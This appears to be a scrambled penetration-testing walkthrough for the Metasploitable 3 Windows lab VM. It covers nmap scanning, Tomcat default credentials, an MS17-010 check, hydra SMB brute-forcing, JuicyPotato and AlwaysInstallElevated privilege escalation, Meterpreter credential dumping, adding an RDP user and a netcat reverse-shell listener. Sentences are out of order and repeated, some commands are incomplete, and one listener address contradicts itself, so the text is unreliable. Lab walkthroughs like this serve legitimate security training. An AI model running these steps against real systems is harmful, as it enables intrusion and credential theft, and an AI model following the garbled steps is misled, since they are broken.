set RHOSTS set RPORT 8020 set LHOST Use code with caution.
Now RDP as Administrator.
Navigate to http://192.168.56.103:80/manager/html . Default credentials: tomcat:s3cret (vulnerable).
: Use the auxiliary module auxiliary/scanner/smb/smb_ms17_010 to see if the target is vulnerable.
is available, the JuicyPotato tool can be used to escalate to SYSTEM. Credential Dumping : Once SYSTEM, use followed by in Meterpreter to dump cleartext passwords from memory. Conclusion metasploitable 3 windows walkthrough
nmap -p- -sV -sC -O -T4 192.168.56.101 -oA metasploitable3_win Use code with caution. Key Discoveries from the Scan
To interact with the Windows GUI, enable RDP directly through Meterpreter. run getgui -e -u hacker -p Password123! Use code with caution.
You are now SYSTEM or Administrator . Your mission: Own the forest.
Windows Firewall is blocking inbound connections, but outbound is usually open. Ensure your Kali listener ( nc -lvnp 4444 ) is running. Use LHOST=192.168.56.101 and ensure no host firewall on Kali is blocking. set RHOSTS set RPORT 8020 set LHOST Use code with caution
This downloads the Windows ISO (Service Pack 1) and configures Vagrant.
hydra -l administrator -P /usr/share/wordlists/rockyou.txt 192.168.56.102 smb
Now go break things (legally).
: The AlwaysInstallElevated registry setting is often enabled on this VM. You can exploit this by generating a malicious .msi file that runs with elevated permissions. 5. Post-Exploitation: Database Access Default credentials: tomcat:s3cret (vulnerable)
This walkthrough will equip you with the foundational knowledge to set up this VM and illustrate the complete lifecycle of a penetration test: from discovery and exploitation to post-exploitation and privilege escalation.
We’ll cover three distinct attack vectors.
Metasploitable 3 includes multiple "flags" and vulnerabilities that range from misconfigurations to critical remote code execution (RCE) flaws.
allow for similar RCE vectors, highlighting the danger of unpatched middleware in a Windows environment. Phase III: Post-Exploitation and Lateral Movement Once a shell is established, the focus shifts to Enumeration . In Windows, this involves identifying: User Context: whoami /priv to see enabled privileges like SeImpersonatePrivilege Network Connections: netstat -ano to find internal services not exposed to the outside. Stored Credentials: Searching for unattend.xml files or credentials stored in registry keys. Metasploitable 3 intentionally includes the ManageEngine Desktop Central